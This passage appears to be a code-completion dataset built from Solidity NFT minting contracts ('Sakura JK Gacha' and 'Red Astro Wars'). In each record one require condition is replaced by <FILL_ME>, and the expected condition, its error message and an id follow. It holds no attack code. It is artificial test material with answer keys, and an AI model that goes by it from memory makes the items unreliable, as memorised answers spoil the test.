function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// This _baseURI function is inherited from 721A
function _baseURI() internal view virtual override returns (string memory) {
}
// Setter for base token URI.
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// Setter for prereveal token URI.
function setPlaceHolderUri(string memory _prerevealTokenURI) external onlyOwner{
}
// Toggle Pause status
function togglePause() external onlyOwner{
}
// Toggle WhiteList status
function toggleWhiteListSale() external onlyOwner{
}
// Toggle Public status
function togglePublicSale() external onlyOwner{
}
// Toggle Reveal status
function toggleReveal() external onlyOwner{
}
// Standard withdraw function
function withdraw() external onlyOwner{
}
}
| (_totalMinted()+_quantity)<=MAX_SUPPLY,"You cannot exceed max supply." | 79,360 | (_totalMinted()+_quantity)<=MAX_SUPPLY |
"Max public mint per wallet exceeded." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Ownable.sol";
import "ERC721A.sol";
contract SJGContract is ERC721A, Ownable{
using Strings for uint256;
uint256 public MAX_SUPPLY = 366; // Max supply of thie collection
uint256 public MAX_PUB_MINT = 10; // Max pub mint # per wallet
uint256 public PUB_SALE_PRICE = 0.03 ether; // Price for public sale.
uint256 public WL_SALE_PRICE = 0.02 ether; // Price for whitelist sale
string private baseTokenURI; // Base TokenURI
string private prerevealTokenURI; // Pre-reveal TokenURI
bool public isRevealed; // Is the collection revealed?
bool public isPubSale; // Is it in the public sale mode?
bool public isWLSale; // Is it in the white list sale mode?
bool public isPaused; // Is it paused?
mapping(address => uint256) public totalPubMint; // Tracks how many minted per wallet for the public sale
mapping(address => uint256) public whitelist ; // Tracks # if WL mint allowed per address.
// We are only inheriting ERC721A straight.
constructor() ERC721A("Sakura JK Gacha", "SJG"){}
// This modifier make sure that it is not another contract calling this contract.
modifier callerIsUser() {
}
// Returns total number of tokens minted (different from totalSupply() inherited)
function totalMinted() external view returns (uint256){
}
// Mint function for public mint.
// 1. Check not paused
// 2. Check that we are in public sale
// 3&4. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY) or personal max allowed (MAX_PUB_MINT)
// 5. Check if the price is more than publicsale * the desired quantity
function pubMint(uint256 _quantity) external payable callerIsUser{
require(!isPaused, "Minting is paused currently.");
require(isPubSale, "We are not doing public sale now.");
require((_totalMinted() + _quantity) <= MAX_SUPPLY, "You cannot exceed max supply.");
require(<FILL_ME>)
require(msg.value >= (PUB_SALE_PRICE * _quantity), "More Eth needed.");
// Record the # minted.
totalPubMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
// Mint function for wl mint.
// 1. Check not paused
// 2. Check that we are in WL sale
// 3. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY)
// 4. Check if you have enough whitelist allowance.
// Note that whitelist mint count will be decremented unlike the public sale one.
// 5. Check if the price is more than WL sale * the desired quantity
function wlMint(uint256 _quantity) external payable callerIsUser{
}
// Set whitelist addresses and their allowed mint numbers.
function seedAllowlist(address[] memory addresses, uint256[] memory numSlots) external onlyOwner{
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
// TokenURI Functoin to be called.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// This _baseURI function is inherited from 721A
function _baseURI() internal view virtual override returns (string memory) {
}
// Setter for base token URI.
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// Setter for prereveal token URI.
function setPlaceHolderUri(string memory _prerevealTokenURI) external onlyOwner{
}
// Toggle Pause status
function togglePause() external onlyOwner{
}
// Toggle WhiteList status
function toggleWhiteListSale() external onlyOwner{
}
// Toggle Public status
function togglePublicSale() external onlyOwner{
}
// Toggle Reveal status
function toggleReveal() external onlyOwner{
}
// Standard withdraw function
function withdraw() external onlyOwner{
}
}
| (totalPubMint[msg.sender]+_quantity)<=MAX_PUB_MINT,"Max public mint per wallet exceeded." | 79,360 | (totalPubMint[msg.sender]+_quantity)<=MAX_PUB_MINT |
"More Eth needed." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Ownable.sol";
import "ERC721A.sol";
contract SJGContract is ERC721A, Ownable{
using Strings for uint256;
uint256 public MAX_SUPPLY = 366; // Max supply of thie collection
uint256 public MAX_PUB_MINT = 10; // Max pub mint # per wallet
uint256 public PUB_SALE_PRICE = 0.03 ether; // Price for public sale.
uint256 public WL_SALE_PRICE = 0.02 ether; // Price for whitelist sale
string private baseTokenURI; // Base TokenURI
string private prerevealTokenURI; // Pre-reveal TokenURI
bool public isRevealed; // Is the collection revealed?
bool public isPubSale; // Is it in the public sale mode?
bool public isWLSale; // Is it in the white list sale mode?
bool public isPaused; // Is it paused?
mapping(address => uint256) public totalPubMint; // Tracks how many minted per wallet for the public sale
mapping(address => uint256) public whitelist ; // Tracks # if WL mint allowed per address.
// We are only inheriting ERC721A straight.
constructor() ERC721A("Sakura JK Gacha", "SJG"){}
// This modifier make sure that it is not another contract calling this contract.
modifier callerIsUser() {
}
// Returns total number of tokens minted (different from totalSupply() inherited)
function totalMinted() external view returns (uint256){
}
// Mint function for public mint.
// 1. Check not paused
// 2. Check that we are in public sale
// 3&4. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY) or personal max allowed (MAX_PUB_MINT)
// 5. Check if the price is more than publicsale * the desired quantity
function pubMint(uint256 _quantity) external payable callerIsUser{
require(!isPaused, "Minting is paused currently.");
require(isPubSale, "We are not doing public sale now.");
require((_totalMinted() + _quantity) <= MAX_SUPPLY, "You cannot exceed max supply.");
require((totalPubMint[msg.sender] + _quantity) <= MAX_PUB_MINT, "Max public mint per wallet exceeded.");
require(<FILL_ME>)
// Record the # minted.
totalPubMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
// Mint function for wl mint.
// 1. Check not paused
// 2. Check that we are in WL sale
// 3. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY)
// 4. Check if you have enough whitelist allowance.
// Note that whitelist mint count will be decremented unlike the public sale one.
// 5. Check if the price is more than WL sale * the desired quantity
function wlMint(uint256 _quantity) external payable callerIsUser{
}
// Set whitelist addresses and their allowed mint numbers.
function seedAllowlist(address[] memory addresses, uint256[] memory numSlots) external onlyOwner{
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
// TokenURI Functoin to be called.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// This _baseURI function is inherited from 721A
function _baseURI() internal view virtual override returns (string memory) {
}
// Setter for base token URI.
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// Setter for prereveal token URI.
function setPlaceHolderUri(string memory _prerevealTokenURI) external onlyOwner{
}
// Toggle Pause status
function togglePause() external onlyOwner{
}
// Toggle WhiteList status
function toggleWhiteListSale() external onlyOwner{
}
// Toggle Public status
function togglePublicSale() external onlyOwner{
}
// Toggle Reveal status
function toggleReveal() external onlyOwner{
}
// Standard withdraw function
function withdraw() external onlyOwner{
}
}
| msg.value>=(PUB_SALE_PRICE*_quantity),"More Eth needed." | 79,360 | msg.value>=(PUB_SALE_PRICE*_quantity) |
"Max WL mint per wallet exceeded." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Ownable.sol";
import "ERC721A.sol";
contract SJGContract is ERC721A, Ownable{
using Strings for uint256;
uint256 public MAX_SUPPLY = 366; // Max supply of thie collection
uint256 public MAX_PUB_MINT = 10; // Max pub mint # per wallet
uint256 public PUB_SALE_PRICE = 0.03 ether; // Price for public sale.
uint256 public WL_SALE_PRICE = 0.02 ether; // Price for whitelist sale
string private baseTokenURI; // Base TokenURI
string private prerevealTokenURI; // Pre-reveal TokenURI
bool public isRevealed; // Is the collection revealed?
bool public isPubSale; // Is it in the public sale mode?
bool public isWLSale; // Is it in the white list sale mode?
bool public isPaused; // Is it paused?
mapping(address => uint256) public totalPubMint; // Tracks how many minted per wallet for the public sale
mapping(address => uint256) public whitelist ; // Tracks # if WL mint allowed per address.
// We are only inheriting ERC721A straight.
constructor() ERC721A("Sakura JK Gacha", "SJG"){}
// This modifier make sure that it is not another contract calling this contract.
modifier callerIsUser() {
}
// Returns total number of tokens minted (different from totalSupply() inherited)
function totalMinted() external view returns (uint256){
}
// Mint function for public mint.
// 1. Check not paused
// 2. Check that we are in public sale
// 3&4. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY) or personal max allowed (MAX_PUB_MINT)
// 5. Check if the price is more than publicsale * the desired quantity
function pubMint(uint256 _quantity) external payable callerIsUser{
}
// Mint function for wl mint.
// 1. Check not paused
// 2. Check that we are in WL sale
// 3. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY)
// 4. Check if you have enough whitelist allowance.
// Note that whitelist mint count will be decremented unlike the public sale one.
// 5. Check if the price is more than WL sale * the desired quantity
function wlMint(uint256 _quantity) external payable callerIsUser{
require(!isPaused, "Minting is paused currently.");
require(isWLSale, "We are not doing WL sale now.");
require((_totalMinted() + _quantity) <= MAX_SUPPLY, "You cannot exceed max supply.");
require(<FILL_ME>)
require(msg.value >= (WL_SALE_PRICE * _quantity), "Value too low.");
whitelist[msg.sender] -= _quantity;
_safeMint(msg.sender, _quantity);
}
// Set whitelist addresses and their allowed mint numbers.
function seedAllowlist(address[] memory addresses, uint256[] memory numSlots) external onlyOwner{
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
// TokenURI Functoin to be called.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// This _baseURI function is inherited from 721A
function _baseURI() internal view virtual override returns (string memory) {
}
// Setter for base token URI.
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// Setter for prereveal token URI.
function setPlaceHolderUri(string memory _prerevealTokenURI) external onlyOwner{
}
// Toggle Pause status
function togglePause() external onlyOwner{
}
// Toggle WhiteList status
function toggleWhiteListSale() external onlyOwner{
}
// Toggle Public status
function togglePublicSale() external onlyOwner{
}
// Toggle Reveal status
function toggleReveal() external onlyOwner{
}
// Standard withdraw function
function withdraw() external onlyOwner{
}
}
| whitelist[msg.sender]>=_quantity,"Max WL mint per wallet exceeded." | 79,360 | whitelist[msg.sender]>=_quantity |
"Value too low." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Ownable.sol";
import "ERC721A.sol";
contract SJGContract is ERC721A, Ownable{
using Strings for uint256;
uint256 public MAX_SUPPLY = 366; // Max supply of thie collection
uint256 public MAX_PUB_MINT = 10; // Max pub mint # per wallet
uint256 public PUB_SALE_PRICE = 0.03 ether; // Price for public sale.
uint256 public WL_SALE_PRICE = 0.02 ether; // Price for whitelist sale
string private baseTokenURI; // Base TokenURI
string private prerevealTokenURI; // Pre-reveal TokenURI
bool public isRevealed; // Is the collection revealed?
bool public isPubSale; // Is it in the public sale mode?
bool public isWLSale; // Is it in the white list sale mode?
bool public isPaused; // Is it paused?
mapping(address => uint256) public totalPubMint; // Tracks how many minted per wallet for the public sale
mapping(address => uint256) public whitelist ; // Tracks # if WL mint allowed per address.
// We are only inheriting ERC721A straight.
constructor() ERC721A("Sakura JK Gacha", "SJG"){}
// This modifier make sure that it is not another contract calling this contract.
modifier callerIsUser() {
}
// Returns total number of tokens minted (different from totalSupply() inherited)
function totalMinted() external view returns (uint256){
}
// Mint function for public mint.
// 1. Check not paused
// 2. Check that we are in public sale
// 3&4. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY) or personal max allowed (MAX_PUB_MINT)
// 5. Check if the price is more than publicsale * the desired quantity
function pubMint(uint256 _quantity) external payable callerIsUser{
}
// Mint function for wl mint.
// 1. Check not paused
// 2. Check that we are in WL sale
// 3. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY)
// 4. Check if you have enough whitelist allowance.
// Note that whitelist mint count will be decremented unlike the public sale one.
// 5. Check if the price is more than WL sale * the desired quantity
function wlMint(uint256 _quantity) external payable callerIsUser{
require(!isPaused, "Minting is paused currently.");
require(isWLSale, "We are not doing WL sale now.");
require((_totalMinted() + _quantity) <= MAX_SUPPLY, "You cannot exceed max supply.");
require(whitelist[msg.sender] >= _quantity, "Max WL mint per wallet exceeded.");
require(<FILL_ME>)
whitelist[msg.sender] -= _quantity;
_safeMint(msg.sender, _quantity);
}
// Set whitelist addresses and their allowed mint numbers.
function seedAllowlist(address[] memory addresses, uint256[] memory numSlots) external onlyOwner{
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
// TokenURI Functoin to be called.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// This _baseURI function is inherited from 721A
function _baseURI() internal view virtual override returns (string memory) {
}
// Setter for base token URI.
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// Setter for prereveal token URI.
function setPlaceHolderUri(string memory _prerevealTokenURI) external onlyOwner{
}
// Toggle Pause status
function togglePause() external onlyOwner{
}
// Toggle WhiteList status
function toggleWhiteListSale() external onlyOwner{
}
// Toggle Public status
function togglePublicSale() external onlyOwner{
}
// Toggle Reveal status
function toggleReveal() external onlyOwner{
}
// Standard withdraw function
function withdraw() external onlyOwner{
}
}
| msg.value>=(WL_SALE_PRICE*_quantity),"Value too low." | 79,360 | msg.value>=(WL_SALE_PRICE*_quantity) |
"RAW: Minting would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @title The Red Astro Wars Contract
/// @notice https://redastrowars.io/ https://twitter.com/RedAstroWars
contract RAW is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_TOKENS = 333;
uint256 public constant MAX_TOKENS_STAGE1 = 203;
uint256 public constant MAX_TOKENS_STAGE2 = 333;
uint256 public constant MAX_PER_MINT = 1;
address public constant w1 = 0xfA964c579eDd08438057600bba847d3A1caA14Bb;
address public constant w2 = 0x61d5f2028597CFF4aDf0cFBb95341EFdAc117598;
address public constant w3 = 0xd66c3152fD3030db77d6BE246c944dAe163Ed61b;
uint256 public price = 0 ether;
bool public isRevealed = false;
bool public publicSaleStarted = false;
bool public presaleStage1Started = false;
bool public presaleStage2Started = false;
mapping(address => uint256) private _mintMapping;
uint256 public MaxPerWallet = 1;
string public baseURI = "https://coffee-objective-antlion-23.mypinata.cloud/ipfs/QmRu7FtZcCehsLppibd2fqF4nV9aGMCkDQ3ppdSkysrEN7";
bytes32 public merkleRootStage1 = 0xe9e691e707ca3a11d3b3256861ba5ed4bd743707b1f33cf4cee626ec17f18395;
bytes32 public merkleRootStage2 = 0xccb260e72e9408595a50a9a88e5328dbdffdf861900904be07608599a6b5f9a0;
constructor() ERC721A("Red Astro Wars", "RAW", 33) {
}
function togglePresaleStage1Started() external onlyOwner {
}
function togglePresaleStage2Started() external onlyOwner {
}
function togglePublicSaleStarted() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setMerkleRootStage1(bytes32 _merkleRoot) external onlyOwner {
}
function setMerkleRootStage2(bytes32 _merkleRoot) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Set number of maximum presale mints a wallet can have
/// @param _newPresaleMaxPerWallet value to set
function setPresaleMaxPerWallet(uint256 _newPresaleMaxPerWallet) external onlyOwner {
}
/// PresaleStage1 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage1(uint256 tokens, bytes32[] calldata merkleProof) external payable {
require(presaleStage1Started, "RAW: Presale has not started");
require(<FILL_ME>)
require(MerkleProof.verify(merkleProof, merkleRootStage1, keccak256(abi.encodePacked(msg.sender))), "RAW: You are not eligible for the presale");
require(_mintMapping[_msgSender()] + tokens <= MaxPerWallet, "RAW: Presale limit for this wallet reached");
require(tokens <= MAX_PER_MINT, "RAW: Cannot purchase this many tokens in a transaction");
require(totalSupply() + tokens <= MAX_TOKENS, "RAW: Minting would exceed max supply");
require(tokens > 0, "RAW: Must mint at least one token");
// require(price * tokens == msg.value, "RAW: ETH amount is incorrect");
_safeMint(_msgSender(), tokens);
_mintMapping[_msgSender()] += tokens;
}
/// PresaleStage2 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage2(uint256 tokens, bytes32[] calldata merkleProof) external payable {
}
/// Public Sale mint function
/// @param tokens number of tokens to mint
/// @dev reverts if any of the public sale preconditions aren't satisfied
function mint(uint256 tokens) external payable {
}
/// Owner only mint function
/// Does not require eth
/// @param to address of the recepient
/// @param tokens number of tokens to mint
/// @dev reverts if any of the preconditions aren't satisfied
function ownerMint(address to, uint256 tokens) external onlyOwner {
}
/// Distribute funds to wallets
// function withdrawAll() public onlyOwner {
// uint256 balance = address(this).balance;
// require(balance > 0, "RAW: Insufficent balance");
// _widthdraw(w3, ((balance * 45) / 1000));
// _widthdraw(w2, ((balance * 45) / 1000));
// _widthdraw(w1, address(this).balance);
// }
// function _widthdraw(address _address, uint256 _amount) private {
// (bool success, ) = _address.call{value: _amount}("");
// require(success, "RAW: Failed to widthdraw Ether");
// }
}
| totalSupply()+tokens<=MAX_TOKENS_STAGE1,"RAW: Minting would exceed max supply" | 79,399 | totalSupply()+tokens<=MAX_TOKENS_STAGE1 |
"RAW: You are not eligible for the presale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @title The Red Astro Wars Contract
/// @notice https://redastrowars.io/ https://twitter.com/RedAstroWars
contract RAW is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_TOKENS = 333;
uint256 public constant MAX_TOKENS_STAGE1 = 203;
uint256 public constant MAX_TOKENS_STAGE2 = 333;
uint256 public constant MAX_PER_MINT = 1;
address public constant w1 = 0xfA964c579eDd08438057600bba847d3A1caA14Bb;
address public constant w2 = 0x61d5f2028597CFF4aDf0cFBb95341EFdAc117598;
address public constant w3 = 0xd66c3152fD3030db77d6BE246c944dAe163Ed61b;
uint256 public price = 0 ether;
bool public isRevealed = false;
bool public publicSaleStarted = false;
bool public presaleStage1Started = false;
bool public presaleStage2Started = false;
mapping(address => uint256) private _mintMapping;
uint256 public MaxPerWallet = 1;
string public baseURI = "https://coffee-objective-antlion-23.mypinata.cloud/ipfs/QmRu7FtZcCehsLppibd2fqF4nV9aGMCkDQ3ppdSkysrEN7";
bytes32 public merkleRootStage1 = 0xe9e691e707ca3a11d3b3256861ba5ed4bd743707b1f33cf4cee626ec17f18395;
bytes32 public merkleRootStage2 = 0xccb260e72e9408595a50a9a88e5328dbdffdf861900904be07608599a6b5f9a0;
constructor() ERC721A("Red Astro Wars", "RAW", 33) {
}
function togglePresaleStage1Started() external onlyOwner {
}
function togglePresaleStage2Started() external onlyOwner {
}
function togglePublicSaleStarted() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setMerkleRootStage1(bytes32 _merkleRoot) external onlyOwner {
}
function setMerkleRootStage2(bytes32 _merkleRoot) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Set number of maximum presale mints a wallet can have
/// @param _newPresaleMaxPerWallet value to set
function setPresaleMaxPerWallet(uint256 _newPresaleMaxPerWallet) external onlyOwner {
}
/// PresaleStage1 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage1(uint256 tokens, bytes32[] calldata merkleProof) external payable {
require(presaleStage1Started, "RAW: Presale has not started");
require(totalSupply() + tokens <= MAX_TOKENS_STAGE1, "RAW: Minting would exceed max supply");
require(<FILL_ME>)
require(_mintMapping[_msgSender()] + tokens <= MaxPerWallet, "RAW: Presale limit for this wallet reached");
require(tokens <= MAX_PER_MINT, "RAW: Cannot purchase this many tokens in a transaction");
require(totalSupply() + tokens <= MAX_TOKENS, "RAW: Minting would exceed max supply");
require(tokens > 0, "RAW: Must mint at least one token");
// require(price * tokens == msg.value, "RAW: ETH amount is incorrect");
_safeMint(_msgSender(), tokens);
_mintMapping[_msgSender()] += tokens;
}
/// PresaleStage2 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage2(uint256 tokens, bytes32[] calldata merkleProof) external payable {
}
/// Public Sale mint function
/// @param tokens number of tokens to mint
/// @dev reverts if any of the public sale preconditions aren't satisfied
function mint(uint256 tokens) external payable {
}
/// Owner only mint function
/// Does not require eth
/// @param to address of the recepient
/// @param tokens number of tokens to mint
/// @dev reverts if any of the preconditions aren't satisfied
function ownerMint(address to, uint256 tokens) external onlyOwner {
}
/// Distribute funds to wallets
// function withdrawAll() public onlyOwner {
// uint256 balance = address(this).balance;
// require(balance > 0, "RAW: Insufficent balance");
// _widthdraw(w3, ((balance * 45) / 1000));
// _widthdraw(w2, ((balance * 45) / 1000));
// _widthdraw(w1, address(this).balance);
// }
// function _widthdraw(address _address, uint256 _amount) private {
// (bool success, ) = _address.call{value: _amount}("");
// require(success, "RAW: Failed to widthdraw Ether");
// }
}
| MerkleProof.verify(merkleProof,merkleRootStage1,keccak256(abi.encodePacked(msg.sender))),"RAW: You are not eligible for the presale" | 79,399 | MerkleProof.verify(merkleProof,merkleRootStage1,keccak256(abi.encodePacked(msg.sender))) |
"RAW: Presale limit for this wallet reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @title The Red Astro Wars Contract
/// @notice https://redastrowars.io/ https://twitter.com/RedAstroWars
contract RAW is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_TOKENS = 333;
uint256 public constant MAX_TOKENS_STAGE1 = 203;
uint256 public constant MAX_TOKENS_STAGE2 = 333;
uint256 public constant MAX_PER_MINT = 1;
address public constant w1 = 0xfA964c579eDd08438057600bba847d3A1caA14Bb;
address public constant w2 = 0x61d5f2028597CFF4aDf0cFBb95341EFdAc117598;
address public constant w3 = 0xd66c3152fD3030db77d6BE246c944dAe163Ed61b;
uint256 public price = 0 ether;
bool public isRevealed = false;
bool public publicSaleStarted = false;
bool public presaleStage1Started = false;
bool public presaleStage2Started = false;
mapping(address => uint256) private _mintMapping;
uint256 public MaxPerWallet = 1;
string public baseURI = "https://coffee-objective-antlion-23.mypinata.cloud/ipfs/QmRu7FtZcCehsLppibd2fqF4nV9aGMCkDQ3ppdSkysrEN7";
bytes32 public merkleRootStage1 = 0xe9e691e707ca3a11d3b3256861ba5ed4bd743707b1f33cf4cee626ec17f18395;
bytes32 public merkleRootStage2 = 0xccb260e72e9408595a50a9a88e5328dbdffdf861900904be07608599a6b5f9a0;
constructor() ERC721A("Red Astro Wars", "RAW", 33) {
}
function togglePresaleStage1Started() external onlyOwner {
}
function togglePresaleStage2Started() external onlyOwner {
}
function togglePublicSaleStarted() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setMerkleRootStage1(bytes32 _merkleRoot) external onlyOwner {
}
function setMerkleRootStage2(bytes32 _merkleRoot) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Set number of maximum presale mints a wallet can have
/// @param _newPresaleMaxPerWallet value to set
function setPresaleMaxPerWallet(uint256 _newPresaleMaxPerWallet) external onlyOwner {
}
/// PresaleStage1 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage1(uint256 tokens, bytes32[] calldata merkleProof) external payable {
require(presaleStage1Started, "RAW: Presale has not started");
require(totalSupply() + tokens <= MAX_TOKENS_STAGE1, "RAW: Minting would exceed max supply");
require(MerkleProof.verify(merkleProof, merkleRootStage1, keccak256(abi.encodePacked(msg.sender))), "RAW: You are not eligible for the presale");
require(<FILL_ME>)
require(tokens <= MAX_PER_MINT, "RAW: Cannot purchase this many tokens in a transaction");
require(totalSupply() + tokens <= MAX_TOKENS, "RAW: Minting would exceed max supply");
require(tokens > 0, "RAW: Must mint at least one token");
// require(price * tokens == msg.value, "RAW: ETH amount is incorrect");
_safeMint(_msgSender(), tokens);
_mintMapping[_msgSender()] += tokens;
}
/// PresaleStage2 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage2(uint256 tokens, bytes32[] calldata merkleProof) external payable {
}
/// Public Sale mint function
/// @param tokens number of tokens to mint
/// @dev reverts if any of the public sale preconditions aren't satisfied
function mint(uint256 tokens) external payable {
}
/// Owner only mint function
/// Does not require eth
/// @param to address of the recepient
/// @param tokens number of tokens to mint
/// @dev reverts if any of the preconditions aren't satisfied
function ownerMint(address to, uint256 tokens) external onlyOwner {
}
/// Distribute funds to wallets
// function withdrawAll() public onlyOwner {
// uint256 balance = address(this).balance;
// require(balance > 0, "RAW: Insufficent balance");
// _widthdraw(w3, ((balance * 45) / 1000));
// _widthdraw(w2, ((balance * 45) / 1000));
// _widthdraw(w1, address(this).balance);
// }
// function _widthdraw(address _address, uint256 _amount) private {
// (bool success, ) = _address.call{value: _amount}("");
// require(success, "RAW: Failed to widthdraw Ether");
// }
}
| _mintMapping[_msgSender()]+tokens<=MaxPerWallet,"RAW: Presale limit for this wallet reached" | 79,399 | _mintMapping[_msgSender()]+tokens<=MaxPerWallet |
"RAW: Minting would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @title The Red Astro Wars Contract
/// @notice https://redastrowars.io/ https://twitter.com/RedAstroWars
contract RAW is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_TOKENS = 333;
uint256 public constant MAX_TOKENS_STAGE1 = 203;
uint256 public constant MAX_TOKENS_STAGE2 = 333;
uint256 public constant MAX_PER_MINT = 1;
address public constant w1 = 0xfA964c579eDd08438057600bba847d3A1caA14Bb;
address public constant w2 = 0x61d5f2028597CFF4aDf0cFBb95341EFdAc117598;
address public constant w3 = 0xd66c3152fD3030db77d6BE246c944dAe163Ed61b;
uint256 public price = 0 ether;
bool public isRevealed = false;
bool public publicSaleStarted = false;
bool public presaleStage1Started = false;
bool public presaleStage2Started = false;
mapping(address => uint256) private _mintMapping;
uint256 public MaxPerWallet = 1;
string public baseURI = "https://coffee-objective-antlion-23.mypinata.cloud/ipfs/QmRu7FtZcCehsLppibd2fqF4nV9aGMCkDQ3ppdSkysrEN7";
bytes32 public merkleRootStage1 = 0xe9e691e707ca3a11d3b3256861ba5ed4bd743707b1f33cf4cee626ec17f18395;
bytes32 public merkleRootStage2 = 0xccb260e72e9408595a50a9a88e5328dbdffdf861900904be07608599a6b5f9a0;
constructor() ERC721A("Red Astro Wars", "RAW", 33) {
}
function togglePresaleStage1Started() external onlyOwner {
}
function togglePresaleStage2Started() external onlyOwner {
}
function togglePublicSaleStarted() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setMerkleRootStage1(bytes32 _merkleRoot) external onlyOwner {
}
function setMerkleRootStage2(bytes32 _merkleRoot) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Set number of maximum presale mints a wallet can have
/// @param _newPresaleMaxPerWallet value to set
function setPresaleMaxPerWallet(uint256 _newPresaleMaxPerWallet) external onlyOwner {
}
/// PresaleStage1 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage1(uint256 tokens, bytes32[] calldata merkleProof) external payable {
require(presaleStage1Started, "RAW: Presale has not started");
require(totalSupply() + tokens <= MAX_TOKENS_STAGE1, "RAW: Minting would exceed max supply");
require(MerkleProof.verify(merkleProof, merkleRootStage1, keccak256(abi.encodePacked(msg.sender))), "RAW: You are not eligible for the presale");
require(_mintMapping[_msgSender()] + tokens <= MaxPerWallet, "RAW: Presale limit for this wallet reached");
require(tokens <= MAX_PER_MINT, "RAW: Cannot purchase this many tokens in a transaction");
require(<FILL_ME>)
require(tokens > 0, "RAW: Must mint at least one token");
// require(price * tokens == msg.value, "RAW: ETH amount is incorrect");
_safeMint(_msgSender(), tokens);
_mintMapping[_msgSender()] += tokens;
}
/// PresaleStage2 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
